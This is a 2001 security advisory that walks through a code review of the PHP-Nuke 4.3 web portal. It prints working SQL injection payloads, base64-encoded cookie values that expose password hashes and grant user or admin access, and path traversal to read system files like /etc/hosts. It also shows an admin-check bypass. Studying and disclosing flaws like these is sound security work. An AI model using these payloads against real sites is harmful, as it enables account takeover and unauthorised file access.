RFP2101.txt

2001-02-14T00:00:00
ID PACKETSTORM:24302
Type packetstorm
Reporter rain forest puppy
Modified 2001-02-14T00:00:00

Description

                                        
                                            `  
-----/ RFP2101 /-------------------------------/ rfp.labs / wiretrip/----   
  
RFPlutonium to fuel your PHP-Nuke  
SQL hacking user logins in PHP-Nuke web portal  
  
------------------------------------/ rain forest puppy / rfp@wiretrip.net  
  
Table of contents:  
  
-/ 1 / Standard advisory information  
-/ 2 / High and clean overview  
-/ 3 / Down and dirty explanation  
-/ 4 / New Year BONUS: other tricks  
-/ 5 / Resolution  
  
--------------------------------------------------------------------------  
Disclaimer: no one is forcing you to read this; stop if you don't want to.  
--------------------------------------------------------------------------  
  
-/ 1 / Standard advisory information /------------------------------------  
  
Software package: PHP-Nuke  
Vendor homepage: www.phpnuke.org  
Version tested: 4.3  
Platforms: Platform-independent (PHP)  
Vendor contacted: 12/29/2000  
CVE candidate: CAN-2001-0001  
Vulnerability type: Authentication weaknesses (user and admin)  
RFPolicy v2: http://www.wiretrip.net/rfp/policy.html  
  
Prior problems: Admin authentication bypass, Aug 2000  
BID: 1592 CVE: CVE-2000-0745 SAC: 00.35.032  
  
Current version: 4.4 (may still be vulnerable; not tested)  
  
  
  
-/ 2 / High and clean overview /------------------------------------------  
  
PHP-Nuke is a pretty groovy web portal/news system written in PHP. I was  
actually so impressed with its look, and even more so by some of its  
features, that I decided to use it for two upcoming projects, and like any  
other piece of code I decide to use, I gave it a quick code review (via la  
open source!). While I was happy with the code in general, it did exhibit  
a few security problems involving tampering with SQL statements.  
  
Rather than write a five-line text saying "PHP-Nuke is exploitable  
...blah...blah", I feel it is much more advantageous, from an educational  
standpoint, to walk through the process of how this vulnerability works.  
Those of you who want to see more examples of SQL hacking can take a look  
at RFP2K01, available at:  
  
http://www.wiretrip.net/rfp/p/doc.asp?id=42  
  
This is also not an extremely useful hack--it allows you to impersonate  
other users and retrieve their password hashes. It also has a caveat that  
could allow an attacker to easily brute force an author (admin) password.  
  
  
  
-/ 3 / Down and dirty explanation /--------------------------------------  
  
First off, to better aid SQL hacking, it helps to turn on SQL query  
logging. In MySQL, this is a matter of adding the '-l logfile' parameter  
to (safe_)mysqld when starting it.  
  
Next, let's take a look at the code. Since this is written in PHP and  
uses MySQL, our target function is mysql_query(). So let's grep for all  
uses of mysql_query():  
  
[rfp@cide nuke]# ls   
admin/ config.php index.php print.php topics.php  
admin.php counter.php language scroller.js ultramode.txt  
article.php dhtmllib.js links.php search.php upgrades  
auth.inc.php faq.php mainfile.php sections.php user.php  
backend.php footer.php manual/ stats.php voteinclude.php  
banners.php friend.php memberslist.php submit.php   
cache/ header.php pollBooth.php themes/  
comments.php images/ pollcomments.php top.php  
  
[rfp@cide nuke]# grep mysql_query *  
admin.php: $result = mysql_query("SELECT qid FROM queue");  
.... 254 more lines of SQL queries that I don't want to print here ....  
  
Now, lets take a look at those that contain variables, since it’s possible  
user input is contained in those variables. For example, a few select  
lines from that output:  
  
article.php: mysql_query("update users set umode='$mode',  
uorder='$order', thold='$thold' where uid='$cookie[0]'");  
  
banners.php: mysql_query("delete from banner where bid=$bid");  
  
comments.php: $something = mysql_query("$q");  
  
user.php: $result = mysql_query("select email, pass from users where  
(uname='$uname')");  
  
index.php: mysql_query("insert into referer values (NULL, '$referer')");  
  
  
The query from article.php contains four variables: $mode, $order, $thold,  
and $cookie[0]. The banners.php is interesting, because it seems that the  
entire query is contained within the $q variable, meaning we must look  
inside the file to see what the value is. In doing that, we get:  
  
$q = "select tid, pid, sid, date, name, email, url, host_name,  
subject, comment, score, reason from comments where sid=$sid   
and pid=$pid";  
if($thold != "") {  
$q .= " and score>=$thold";  
} else {  
$q .= " and score>=0";  
}  
if ($order==1) $q .= " order by date desc";  
if ($order==2) $q .= " order by score desc";  
  
  
So we see that $q used the variables $sid and $pid, and perhaps $thold, if  
it's defined.  
  
So what do we do now? Well, let's take a look at what is actually in some  
of those variables. We’ll start with the above query listed for  
article.php. Here is the actual code, with comments removed:  
  
<?PHP  
  
if(!isset($mainfile)) { include("mainfile.php"); }  
if(!isset($sid) && !isset($tid)) { exit(); }  
  
if($save) {  
cookiedecode($user);  
mysql_query("update users set umode='$mode', uorder='$order',  
thold='$thold' where uid='$cookie[0]'");  
getusrinfo($user);  
$info = base64_encode("$userinfo[uid]:$userinfo[uname]:".  
"$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".  
"$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");  
setcookie("user","$info",time()+$cookieusrtime);  
}  
  
(Note: the code was reformatted for display in this advisory)  
  
So we see that nothing is apparently done to $mode, $order, $thold, or  
$cookie[0]. However, mainfile.php is included and something may be  
happening in the cookiedecode() function, so we need to check them out.  
  
First, let's see if mainfile.php defines the variables $mode, $order,  
$thold, or $cookie:  
  
[rfp@cide nuke]# grep \$mode mainfile.php   
[rfp@cide nuke]# grep \$order mainfile.php   
[rfp@cide nuke]# grep \$thold mainfile.php   
[rfp@cide nuke]#  
  
Hmm, so mainfile.php doesn't do anything with those variables. However, a  
plethora of stuff is returned for $cookie (this is not shown). This is  
due to cookiedecode() (and other similar functions) contained in  
mainfile.php. So, here is the code to cookiedecode():  
  
function cookiedecode($user) {  
global $cookie;  
$user = base64_decode($user);  
$cookie = explode(":", $user);  
return $cookie;  
}  
  
The call to cookiedecode() takes the string in $user, base64 decodes it,  
and then splits it into parts around the ':' character, putting it into  
the array $cookie[]. This makes sense, since the above SQL query is using  
$cookie[0], the first element of the array.  
  
Huh? Where does $user come from? A grep through mainfile.php shows that  
$user is only used in functions.  
  
Wow. That means the author does not do *anything* to $user (which is  
decoded and split into $cookie[0]), $mode, $order, $thold. For those of  
you that are not familiar with PHP, PHP will define global variables with  
values taken from URL parameters. For example, a query of:  
  
/somefile.php?varb1=rain&value2=forest&param3=puppy  
  
will make three global variables in the script $varb1, $value2, and  
$param3 with the values of 'rain', 'forest', and 'puppy', respectively.  
This means that we can plug in arbitrary values for $mode, $order, and  
$thold for article.php by requesting an URL that looks something like:  
  
/article.php?mode=rain&order=forest&thold=puppy  
  
But before we do that, there's one more piece we're forgetting, the snippet:  
  
if($save) {  
...  
  
That means the $save variable has to be set. A quick grep through  
mainfile.php shows that $save is not referenced, meaning it needs to be  
included in the URL. This gives us:  
  
/article.php?mode=rain&order=forest&thold=puppy&save=1  
  
So let's try it. Requesting this page, nothing is returned, because I  
forgot about the following line:  
  
if(!isset($sid) && !isset($tid)) { exit(); }  
  
Ugh, so we need to add $sid and $tid to the URL line, which is now:  
  
/article.php?mode=rain&order=forest&thold=puppy&save=1&sid=0&tid=0  
  
This returns a page that has an error. Looking at our mysql query logs,  
there's an entry for:  
  
1 Query update users set umode='rain', uorder='forest',  
thold='puppy' where uid=''  
  
This proves that it's working. We can now submit values into the SQL  
query. We now need to see if we can *tamper* with the query. We will  
attempt to ‘rewrite’ the query so that it will include other SQL code.  
Doing this involves some trickery: the addition of some extra single  
quotes. What we'll do is change $thold to read:  
  
puppy', thold='puppy  
  
This should result in a query that looks like:  
  
update users set umode='rain', uorder='forest',  
thold='puppy', thold='puppy' where uid=''  
^^^^^^^^^^^^^^^^^^^^  
the data we submit  
  
Sure, it's not exactly a useful SQL statement, but we're only verifying  
our exploit method. So let's fire that into the URL and submit it:  
  
/article.php?mode=rain&order=forest&thold=puppy',%20thold='puppy&  
save=1&sid=0&tid=0  
  
(Note: URL is wrapped)  
  
This results in a mysql log of:  
  
5 Query update users set umode='rain', uorder='forest',  
thold='puppy\', thold=\'puppy' where uid=''  
  
DRAT! It seems PHP automatically escapes the ' (it changes them into \')  
when they are processed from URL parameters. Granted, I'm using PHP 4, so  
perhaps PHP 3.x doesn't, but still. From the exploit angle, this sucks.  
From the security angle, this rocks. But I may be overlooking  
something--if anyone sees something I'm missing, drop me an email;  
however, please look at the code first--thoughtful assumptions and hunches  
as to why/how this is happening are nice, but my inbox is already  
overflowing as it is. :)  
  
Anyway, all is not lost. At this point, we know that global variables  
being thrown into SQL statements *may* sometimes be safe (it may be PHP  
version dependant). But let's go back and look at the cookiedecode()  
function. It takes a global value ($user), base64 decodes it, splits it,  
and puts it into the $cookie[] array. Note that $user could be in a HTTP  
cookie, or it could be a URL parameter--PHP doesn't make a distinction  
(well, at least this code doesn't).  
  
Since the actual value is encoded by base64 encoding, PHP doesn't do any  
escaping on the value that's encoded. Meaning whatever we put in the  
$user value should be safe. Let's see.  
  
First, we need to get the right value. Since cookiedecode() expects to  
split a value with the ':' character and use the first value, we at least  
need 'something:' as our value. The 'something' is our text. For now,  
we'll set it to be 'www.cipherwar.com:'. Now, we need to base64 encode  
it. A quick little commandline ditty:  
  
[rfp@cide nuke]# echo -n "www.cipherwar.com:" | uuencode -m f  
begin-base64 644 f  
d3d3LmNpcGhlcndhci5jb206  
====  
  
This means we need to add the following to our URL:  
  
&user=d3d3LmNpcGhlcndhci5jb206  
  
And when I run the above URL with the extra user parameter, my mysql logs  
show:  
  
7 Query update users set umode='rain', uorder='forest',   
thold='puppy' where uid='www.cipherwar.com'  
  
Rock! Ok, now can we escape the SQL statement?  
  
[root@cide nuke]# echo -n "www.cipherwar.com' or uid='1" |   
uuencode -m f  
begin-base64 644 f  
d3d3LmNpcGhlcndhci5jb20nIG9yIHVpZD0nMQ==  
====  
  
Putting that in the URL and submitting it, my mysql log now shows:  
  
3 Query update users set umode='rain', uorder='forest',  
thold='puppy' where uid='www.cipherwar.com'   
or uid='1'  
  
!@$%! It worked! As we can see, our values are unmolested, allowing us to  
tamper with the query. However, we're slightly limited in our  
exploitation, due to a few caveats of MySQL. For those of you who are  
familiar with SQL hacking, and particularly some of the tricks I've  
published in the past, MySQL does not allow multiple SQL commands to be  
submitted in one query. That means something like:  
  
mysql_query("select * from table1; select * from table2");  
  
It does not run two 'selects'--it only runs the first, and drops the  
second into oblivion. However (don't lose hope), I found this tidbit on  
the MySQL TODO list:  
  
Fix `libmysql.c' to allow two mysql_query() commands in a row without  
reading results or give a nice error message when one does this.   
  
But also listed on the TODO list:  
  
Subqueries. select id from t where grp in (select grp from g where  
u > 100)   
  
Both of which would greatly increase the SQL hacking aspect of MySQL. :)  
In the meantime, that doesn't help us (unless the site rewrote PHP-Nuke to  
use a different database engine, such as Postgres. But this is doubtful).   
This means we have the limitation of only tampering with the query given  
(i.e. we can't add a separate query). Since PHP escapes URL parameter  
variables we are also limited, unless the query contains a variable that  
was parsed by the script in some form (such as with cookiedecode()).   
Hmm, that's quite a few limitations.  
  
So let's look at the query we've been running:  
  
mysql_query("update users set umode='$mode', uorder='$order',  
thold='$thold' where uid='$cookie[0]'");  
  
By specifying an arbitrary uid value, we can clobber the umode, uorder,  
and thold values of any user. Though annoying, it is hardly a critical  
security problem, since umode, uorder, and thold are just the display  
preferences of a user. Let's look at the entire code snippet:  
  
if($save) {  
cookiedecode($user);  
mysql_query("update users set umode='$mode', uorder='$order',  
thold='$thold' where uid='$cookie[0]'");  
getusrinfo($user);  
$info = base64_encode("$userinfo[uid]:$userinfo[uname]:".  
"$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".  
"$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");  
setcookie("user","$info",time()+$cookieusrtime);   
}  
  
  
After calling cookiedecode() and running the first query, there's a call  
to getusrinfo(), and then a bunch of the user's information is base64  
encoded and sent to us as a cookie. However, notice! The $userinfo[pass]  
value is included! This means, if we're careful, we may possibly be sent  
a cookie that contains a user's password. All we need to do is get past  
getusrinfo():  
  
function getusrinfo($user) {  
global $userinfo;  
$user2 = base64_decode($user);  
$user3 = explode(":", $user2);  
$result = mysql_query("select uid, name, uname, email,   
femail, url, pass, storynum, umode, uorder,   
thold, noscore, bio, ublockon, ublock, theme,  
commentmax from users where uname='$user3[1]'   
and pass='$user3[2]'");  
if(mysql_num_rows($result)==1) {  
$userinfo = mysql_fetch_array($result);  
} else {  
echo "<b>A problem occured</b><br>";  
}  
return $userinfo;  
}  
  
  
Hmm, ok, let's see. Again, it takes the $user value, base64 decodes it  
(just like cookiedecode()), then runs a query using parts 2 and 3 from the  
cookie ($user3[1] and $user3[2], respectively). However, to correctly  
work, we need to know the right uname and pass of the target user,  
otherwise the SQL query will return 0 rows, and will display "A problem  
occured". If we already know the username and password of a user, we  
wouldn't be going through this, now would we?  
  
So, can we tamper with the query? We're looking to return all the user  
data for the record where "uname='name' and pass='password'". Perhaps if  
we broaden the search criteria, we can do better. Consider a query that  
looks like:  
  
... where uname='name' and pass='password' or uname='name'  
  
Logically, the query is grouped like so:  
  
... where (uname='name' and pass='password') or (uname='name')  
  
So now, if we know a user's username (which we should), but not their  
password, the first clause will fail; however, the second will succeed!   
Or at least, that's the plan....  
  
So let's test that hypothesis. Now we need to make our $user variable  
contain something like:  
  
uid:username:blah' or uname='username  
  
On my system I want to target the user 'test1'. So I'm going to try the  
values:  
  
1:test1:blah' or uname='test1  
  
Now, let's encode that:  
  
[root@cide nuke]# echo -n "1:test1:blah' or uname='test1" |   
uuencode -m f  
begin-base64 644 f  
MTp0ZXN0MTpibGFoJyBvciB1bmFtZT0ndGVzdDE=  
====  
  
Put that in our query above, and try it out. Lo and behold, I'm sent a  
Cookie that looks like:  
  
Set-Cookie: user=MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA%3D;  
expires=Friday, 29-Dec-00 20:14:00 GMT  
  
Now, the user value is base64 encoded. I have my own way to base64 decode  
stuff, but to be compatible with what I've been writing (i.e. using the  
command line), the best way is to create a file (let's call it 'encode')  
with the following contents:  
  
begin-base64 666 user  
MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA=  
===  
  
Note: replace all %3D with '=', and don't include the ending ';'  
  
Now, run the following command:  
  
[root@cide nuke]# uudecode encode; cat user  
uudecode: encode: illegal line  
1:test1:lfkSv9NQ1eklg:10:rain:0:0:0  
  
And there we go--that's the uid, username, password, etc of the target  
user (test1). Now, before you think that I use *really* strong passwords,  
you should know that PHP-Nuke uses password hashing. That means you'll  
have to crack the password hash to get the actual password.  
  
But does that matter? I'm going to hop over to user.php. User.php is the  
script that manages user information, including login, new user  
registrations, user information changes, etc. Particularly, what does it  
take to change a user's information? Well, let's see:  
  
function edituser() {  
global $user, $userinfo;  
include("header.php");  
getusrinfo($user);  
nav();  
?>  
<table cellpadding=8 border=0><tr><td>  
<form action="user.php" method="post">  
<b><?php echo translate("Real Name"); ?></b> <?php echo  
translate("(optional)"); ?><br>  
<input class=textbox type="text" name="name" value="<?PHP  
echo"$userinfo [name]"; ?>" size=30 maxlength=60><br>  
...  
  
Hmmm, so it includes header.php (which just inserts the correct heading  
HTML for the user's preferred theme). Then it calls getusrinfo(). Well,  
we just went through how we can abuse getusrinfo() to set $userinfo to any  
value. After edituser() calls getuserinfo(), it then calls nav(),  
followed by starting to print out all the user's information. So, it  
seems, if we have the valid user cookie, we can successfully become that  
user--we don't even need to crack the password.  
  
But the edituser() function is called when we want to view information. If  
we want to modify a user's information, we'd have to get past the  
saveuser() function, which starts off with:  
  
function saveuser($uid, $name, $uname, $email, $femail, $url, $pass,  
$vpass, $bio) {  
global $user, $cookie, $userinfo, $EditedMessage,   
$system, $minpass;  
cookiedecode($user);  
// Vulnerability fix thanks to DrBrain  
$user_check=$cookie[1];  
$result=mysql_query("select uid from users where  
uname='$user_check'");  
$vuid=mysql_result($result,0,"uid");  
if ($user AND ($cookie[1] == $uname) AND ($uid == $vuid)) {  
...  
  
Of course, what's interesting about this is that it was already 'fixed'  
for a security vulnerability. Let's take a look at what the code is  
doing...  
  
cookiedecode() decodes the $user value into the $cookie array. We supply  
the $uid, $user, and $uname values. So the pseudo-code for this looks  
like:  
  
- Decode $user into $cookie array  
  
- Look up the uid of the user given in $cookie (from $user, which   
we supply)  
  
- If the username in $cookie (which we give) matches the username  
in $uname (which we give), and the $uid (which we give)  
matches the uid of the username given in $cookie (which we  
give), then proceed  
  
It seems the actual crux of this code makes sure our supplied cookie  
matches the username we're giving as a parameter, and that we know the  
correct userid (uid) to go along with our target username. If we go back  
up to the edituser() above, you'll find out that the uid of the username  
queried is returned as a hidden field (I didn't include that snippet of  
code). So we can do a query to edituser() to get the uid, and then to  
saveuser() with the approriate cookie, uname, and uid values.  
  
But of course, what good does that do? Sure, we can take over user  
accounts. But the gem would be something with administrative access,  
which in PHP-Nuke's case, are considered 'authors'.  
  
So what do we know about author accounts? Taking a peek in nuke.sql,  
which is the initial SQL script for PHP-Nuke, we see that author and user  
information are kept in separate tables--that means we need to find a SQL  
query that is querying the author table specifically. So, let's see:  
  
[root@cide nuke]# grep mysql_query *|grep author  
  
admin.php: $result = mysql_query("select radminarticle,  
radmintopic,radminleft,radminright,radminuser,radminmain,  
radminsurvey,radminsection,radminlink,radminephem,radminfilem,  
radminhead,radminsuper from authors where aid='$aid'");  
  
auth.inc.php: $result=mysql_query("select pwd from authors where  
aid='$aid'");  
  
auth.inc.php: $result=mysql_query("select pwd from authors where  
aid='$aid'");  
  
mainfile.php: $holder = mysql_query("SELECT url, email FROM authors  
where aid='$aid'");  
  
mainfile.php: mysql_query("insert into stories values (NULL,  
'$aid', '$title', now(), '$hometext', '$bodytext', '0', '0', '$topic',  
'$author', '$notes')");  
  
search.php: $thing = mysql_query("select aid from authors order by   
aid");  
  
stats.php:$result = mysql_query("select * from authors");  
  
top.php:$result = mysql_query("select aid, counter from authors order   
by counter DESC limit 0,$top");  
  
Hmm, so only 8 hits. The second query in mainfile.php doesn't actually  
query the “author” table, and the stats.php doesn't include any variables,  
so those can be scratched. Top.php is severely limited--if MySQL allowed  
extra queries to be appended (like I've discussed in the past and above),  
then it would have possibility; but in our case, it doesn't, so we don't  
need to spend time on it. Mainfile.php doesn't retrieve any interesting  
information from the “author” table, so we can't really abuse it. So that  
leaves us with admin.php and auth.inc.php.  
  
Admin.php is the page where administrators log in and perform  
administrative functions. The first thing admin.php does is call  
auth.inc.php, so that means, essentially, we need to fool auth.inc.php to  
do anything we want. Now, there are two pieces to auth.inc.php...the  
initial login, and the standard author password check:  
  
initial login:  
  
if ((isset($aid)) && (isset($pwd)) && ($op == "login")) {  
if($aid!="" AND $pwd!="") {  
$result=mysql_query("select pwd from authors where aid='$aid'");  
list($pass)=mysql_fetch_row($result);  
if($pass == $pwd) {  
$admin = base64_encode("$aid:$pwd");  
setcookie("admin","$admin",time()+2592000);  
}  
}  
}  
  
  
standard author password check:  
  
if(isset($admin)) {  
$admin = base64_decode($admin);  
$admin = explode(":", $admin);  
$aid = "$admin[0]";  
$pwd = "$admin[1]";  
if ($aid=="" || $pwd=="") {  
$admintest=0;  
echo .... bunch of HTML ....;  
exit;  
}  
$result=mysql_query("select pwd from authors where aid='$aid'");  
if(!$result) {  
echo "Selection from database failed!";  
exit;  
} else {  
list($pass)=mysql_fetch_row($result);  
if($pass == $pwd && $pass != "") {  
$admintest = 1;  
}  
}  
}  
  
  
Now, what's interesting about the initial login snippet is that, like  
article.php, if we can trick it into thinking we're the user, it will  
return to us a cookie with the username and password. However, to get  
author status, we need to trick the standard author password check snippet  
into setting $admintest=1.  
  
Looking at the initial login snippet, we see that we need to tamper with  
the $aid parameter; but, as discussed earlier, PHP doesn't allow us to  
include SQL escaping tricks, so it's a relative dead end.  
  
Now the other snippet pulls those values from the $admin 'cookie' value,  
which we know we can tamper with (as seen earlier). So we're really left  
dealing with the following query:  
  
$result=mysql_query("select pwd from authors where aid='$aid'");  
  
And we must meet this requirement:  
  
if($pass == $pwd && $pass != "") {  
  
Hmm, that's tough. We must somehow manipulate the query to return a known  
value, that cannot be blank. Given the query, it will only return values  
in the 'pwd' column. Heck, if we knew those values already, we wouldn't  
need to be doing this. So I sat stumped, trying to figure out what to do.  
Then something occurred to me. We need to know the value the query is  
going to return. That value needs to be the password of an existing  
author. So, what if we did a search for the password? Imagine this  
query:  
  
select pwd from authors where aid='arbitrary' or pwd='password'  
  
This would perform a query and select records where aid had a value of  
'arbitrary' or password had a value of 'password'. Hmmm. So what good is  
that?  
  
What's advantageous about this is that it will match if *any* author has  
the 'password' (or whatever we specify) as their password. We can  
manipulate it by supplying an aid value of:  
  
' or pwd='common_password  
  
So then if any author has a password that matches what we sent  
(common_password in this case), the $pwd variable is sent to  
'common_password'. If we also set pass=commmon_password, then  
$pass==$pwd, and we're authenticated as an author. Actually, we're  
authenticated as the author that has the password we supplied. PHP-Nuke  
does allow different 'rights' to be set for each author, and we many not  
have rights to do anything, but still, we have author status. That's all  
this exercise was meant for.  
  
Before you become really disappointed, you should take a look at some of  
the options available to authors. Surprisingly, no rights are required to  
do such things as run 'env' (which essentially gives you php_info()),  
'show' (view arbitrary files viewable by the webserver's uid), 'chdr' (get  
nicely formatted directory listings), 'edit' (write contents into files  
writable by the webserver's uid), etc.  
  
As far as SQL hacking goes, that's it for PHP-Nuke. Hope you enjoyed the  
long example!  
  
  
  
-/ 4 / New Year BONUS: other tricks /------------------------------------  
  
PHP-Nuke includes a few other things that I felt would be nifty to point  
out, in regards to this being an educational walk-through in reviewing PHP  
code.  
  
When I sit down to review some code, the first things I look at are  
system-interaction functions--particularly filesystem interaction and  
command execution. In PHP, some of the target functions include:  
  
exec() - run external commands  
passthru() - run external commands  
system() - run external commands  
  
fopen() - open a file (or URL)  
readfile() - output a file (or URL)  
include() - include a file (or URL)  
include_once() - (same as include)  
  
The first three deal with executing programs. The other four deal with  
reading files. Note that require()/require_once() are expanded on  
initialization, meaning there is no room to tamper with them during  
execution and therefore they are not reviewed.  
  
So, how do I start evaluating the use of these functions? The easiest  
place to start is grep:  
  
[root@cide nuke]# grep exec *  
stats.php:$time = (exec("date"));  
stats.php:$uptime_info = "Uptime:" . trim(exec("uptime")) . "\n\n";  
stats.php:exec ("df", $x);  
  
Hmm, three hits. However, none of them contain any variables (the $x in  
the 'df' one is for output), so we can't tamper with any of them. Moving  
on...passthru() doesn't yeild any hits. System() yeilds some hits, but  
they are mostly text and variable names--no actual use of the system()  
function.  
  
So let's move on to the file functions. What's unique to PHP is that you  
can actually supply an URL to a file function, and PHP will remotely fetch  
it and use it. So this gives us the added bonus of possibly being able to  
pull in code from external systems--a fun feature indeed!  
  
So let's see:  
  
[root@cide nuke]# grep fopen *  
admin.php: $fp=fopen($basedir.$file,"w");  
admin.php: $fp=fopen($basedir.$file,"r");  
admin.php: $fp=fopen($basedir.$filelocation,"w");  
mainfile.php: $file = fopen("$ultra", "w");  
mainfile.php: $fpread = fopen($headlinesurl, 'r');  
mainfile.php: $fpwrite = fopen($cache_file, 'w');  
  
Hmm, well the admin.phps are promising, pending on where $basedir and  
$file/$filelocation are defined. Same with mainfile.php and  
$headlines/$cache_file. So looking at admin.php we see that $basedir is  
defined at:  
  
$basedir = dirname($SCRIPT_FILENAME);  
  
This is essentially the directory where the script is. Looking around,  
you can see that $file is not defined anywhere, meaning we can specify it  
in the URL parameters! Looking at the 'show' and 'edit' operations in  
admin.php, our hunch is right--'show' will open the file specified by  
$basedir.$file, just like edit. We can't really control $basedir, but we  
can control $file. So if we use '..' (otherwise known as "reverse  
directory traversal", and **NOT TRANSVERSAL**!...'traverse' means to move  
or travel along...'transverse' means to be crosswise or at an angle with.  
Sorry, pet peeve.) That means calling the 'edit' operation in admin.php  
with a file parameter set to something like '../../../../etc/hosts' allows  
us to view the contents of the system's hosts file. The other fopen's can  
be abused in the same manner.  
  
So let’s move on to mainfile.php. Looking at $headlinesurl:  
  
$result = mysql_query("select sitename, url, headlinesurl from  
headlines where status=1");  
while (list($sitename, $url, $headlinesurl) =  
mysql_fetch_row($result)) {  
  
It’s a static query into the headlines table. Unless we can insert values  
into the headlines database, it's not much good to us. $cache_file is  
defined as:  
  
$cache_file = "cache/$sitename.cache";  
  
using the $sitename from the same query as $headlinesurl.  
  
Moving on to include_once() and readfile(), returns zero hits. But  
include() is used a lot...in fact, it’s used 355 times. But that's  
because it's used to include other files, particularly the header and  
footer of the theme, etc. Considering we're only interested in  
include()'s that contain variables, we can filter out the cruft and keep  
the interesting ones:  
  
footer.php: include("themes/$cookie[9]/footer.php");  
footer.php: include("themes/$Default_Theme/footer.php");  
header.php: include("themes/$cookie[9]/theme.php");  
header.php: include("themes/$cookie[9]/header.php");  
header.php: include("themes/$Default_Theme/theme.php");  
header.php: include("themes/$Default_Theme/header.php");  
mainfile.php: include("language/lang-$language.php");  
mainfile.php: include($cache_file);  
  
header.php and footer.php use the include()'s to include the appropriate  
file for the user's preferred theme (or uses the $Default_Theme if not  
specified). $language and $cache_file are also defined in mainfile.php, so  
mainfile.php is a dead end. Let's look at header.php. The relevant code  
looks like:  
  
if (!isset($index)) {  
include("config.php");  
global $artpage, $topic;  
} else {  
global $site_font, $sitename, $artpage, $topic, $banners,  
$Default_Theme, $uimages;  
}  
  
....  
  
if(isset($user)) {  
$user2 = base64_decode($user);  
$cookie = explode(":", $user2);  
if($cookie[9]=="") $cookie[9]=$Default_Theme;  
if(isset($theme)) $cookie[9]=$theme;  
include("themes/$cookie[9]/theme.php");  
include("themes/$cookie[9]/header.php");  
} else {  
include("themes/$Default_Theme/theme.php");  
include("themes/$Default_Theme/header.php");  
}  
  
  
So here we see the include is using $cookie[9] if $user is set, or  
$Default_Theme if not. $Default_Theme is defined in config.php, which is  
included above if $index is not defined.  
  
Did you get that? Perhaps you should read it again..."$Default_Theme is  
defined in config.php, which is included above if $index is not defined."   
Huh. So if we define $index (by including index=1 in our URL), config.php  
is NOT included, and therefore we can specify an arbitrary $Default_Theme  
value in the URL as well. Let's test this.  
  
I'm going to request the following URL:  
  
/header.php?index=1&Default_Theme=rain.forest.puppy  
  
I'm greeted with the following PHP errors:  
  
Warning: Failed opening 'themes/rain.forest.puppy/theme.php' for   
inclusion (include_path='') in /home/httpd/html/nuke/header.php on  
line 97  
  
Warning: Failed opening 'themes/rain.forest.puppy/header.php' for  
inclusion (include_path='') in /home/httpd/html/nuke/header.php on   
line 98  
  
Wow, it worked. So, can we submit values for Default_Theme that would  
allow us to include arbitrary files? Unfortunately the 'themes/' is  
prefixed, so we can't use PHP's cool remote-URL-fetch-file-include  
feature.  
  
We can definately use '..' notation to go into parent directories.  
However, the problem is that '/theme.php' is always appended to whatever  
we submit. We can't view '../../../../etc/hosts' because the final  
include() is called with the value:  
  
themes/../../../../etc/hosts/theme.php  
  
So we need to somehow ditch the extra '/theme.php' that's being appended.  
Those of you who read my Phrack 55 article ("Perl CGI Problems") may  
recall the 'Poison Null Byte' scenario I talked about. For those of you  
who haven't read it, a copy is available at:  
  
http://www.wiretrip.net/rfp/p/doc.asp?id=6  
  
The Poison Null Byte scenario involves submitting a NULL character in an  
attempt to get the application to ignore the extra appended crap. The  
theory goes something like this:  
  
- I submit:  
  
../../../../etc/hosts<NULL>  
  
(<NULL> is the NULL character, and not the 6-character string <NULL>)  
  
- The application puts it all together into:  
  
themes/../../../../etc/hosts<NULL>/theme.php  
  
- The application gives it to the sytem to include()  
  
- The system reads up the NULL byte, and stops there, since system  
functions are built to stop processing a string once a NULL byte  
is reached  
  
- Since the system stops at the NULL byte, they are effectively opening  
themes/../../../../etc/hosts  
  
So I tried it. And it doesn't work. In fact, I tried all 255 values  
(every possible character)--nadda. PHP is smart and doesn't fall for that  
trick. So this attack won't work, unless someone knows some way to fool  
PHP like you can fool the other scripting languages. But I thought it had  
some educational value and was worth mentioning.  
  
There is one last thing I’d like to point out. The admin.php script  
include()'s a bunch of supporting scripts found in the /admin/ directory.   
Each of these scripts includes a 'safety check' that looks like:  
  
if (!eregi("admin.php", $PHP_SELF)) { die ("Access Denied"); }  
  
This essentially scans the URL to see if admin.php is the file being used  
(i.e. we're calling admin.php, and admin.php is then include()'ing the  
file, versus us calling it directly). However, the regex performed by  
eregi doesn't work--all it cares about is that admin.php is included  
*somewhere* in the URL. Imagine the following request:  
  
/admin/authors.php/admin.php  
  
This will actually call the /admin/authors.php (which contains the above  
safety check). The extra '/admin.php' is superfluous and not used. But  
the regex performed by eregi() will still see the extra '/admin.php' part,  
and therefore it will check out OK. So the check was subverted.   
However, there is nothing usable (that I saw) in any of the /admin/ files,  
and the SQL queries won't work since the SQL connection info is defined in  
config.php, which is included via admin.php (and not in any of the  
individual /admin/ files). But it was still interesting to point out why  
this method of checking doesn't necessarily work.  
  
  
  
-/ 5 / Resolution /------------------------------------------------------  
  
Well, as indicated at the start of this document, I contacted the author  
on Dec 29, 2000. Unfortunately, I believe the author misunderstands my  
intentions. The authors view, in regards to security, can be viewed at  
the following two locations:  
  
http://www.phpnuke.org/article.php?sid=1022&mode=thread&order=0&thold=0  
http://www.securityfocus.com/archive/1/162261   
  
Of course, his point is valid: people point out flaws, and don't help fix  
them. I offered my assistance in patching, but he was rather nonplussed  
in communication with me.  
  
Which is awkward, because I want to use PHP-Nuke. To date, I've spent  
some 30-odd total hours of my freetime patching the code. However, at the  
same time, PHP-Nuke 4.4 was about to be released. What I *didn't* want to  
do was create a code fork by releasing security patches for 4.3 in  
parallel with 4.4. So the delay in this advisory release was to wait for  
4.4, and give the author a chance to fix the problems he was notified  
about.  
  
So the final resolution? PHP-Nuke 4.4 was released on Feb 8, 2001. The  
author knew about the problem for 40+ days. The fixes may or may not be  
in version 4.4. If they are, kudos for PHP-Nuke. If not, well, you be  
the judge.  
  
  
  
-/ acks /----------------------------------------------------------------  
  
Special thanks to Zope Kitten for fixin' muh spelin'  
  
-----/ RFP2101 /-----------/ rfp.labs / wiretrip / rfp@wiretrip.net /----   
  
  
`